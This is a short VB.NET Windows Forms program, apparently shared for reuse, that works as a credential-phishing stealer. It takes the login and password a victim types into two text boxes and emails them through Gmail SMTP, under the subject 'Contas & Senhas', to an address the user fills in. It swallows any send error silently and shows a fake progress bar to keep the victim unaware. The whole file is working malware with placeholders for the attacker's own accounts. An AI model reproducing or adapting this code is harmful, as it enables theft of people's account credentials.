Código By: PrivateAny

 Imports System.Net.Mail

Public Class Form1
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Value = ProgressBar1.Value + 1
        If ProgressBar1.Value = ProgressBar1.Maximum Then
            ProgressBar1.Value = 0
            Timer1.Stop()
            Timer1.Enabled = False
            TextBox1.Enabled = True
            TextBox2.Enabled = True
        End If
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage()
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        'Email
        MyMailMessage.From = New MailAddress("seu e-mail@gmail.com")
        'Destinataire
        MyMailMessage.To.Add("seue-mail@hotmail.com")
        'Expéditeur
        MyMailMessage.Subject = ("Contas & Senhas")
        'Sujet
        MyMailMessage.Body = ("Login:   " & TextBox1.Text & " Senha:   " & TextBox2.Text)
        'Corps
        'SMTP
        SMTPServer.Port = ("587")
        SMTPServer.Credentials = New System.Net.NetworkCredential("seu email@gmail.com", "sua senha")
        'Email (+Pass)
        SMTPServer.EnableSsl = True
        Try
            SMTPServer.Send(MyMailMessage)
        Catch ex As Exception

        End Try

        'Envoi
        Timer1.Enabled = True
        Timer1.Start()
        Timer1.Interval = 1000
        ' = 1min
        TextBox1.Enabled = False
        TextBox2.Enabled = False
        TextBox3.Enabled = False

    End Sub


End Class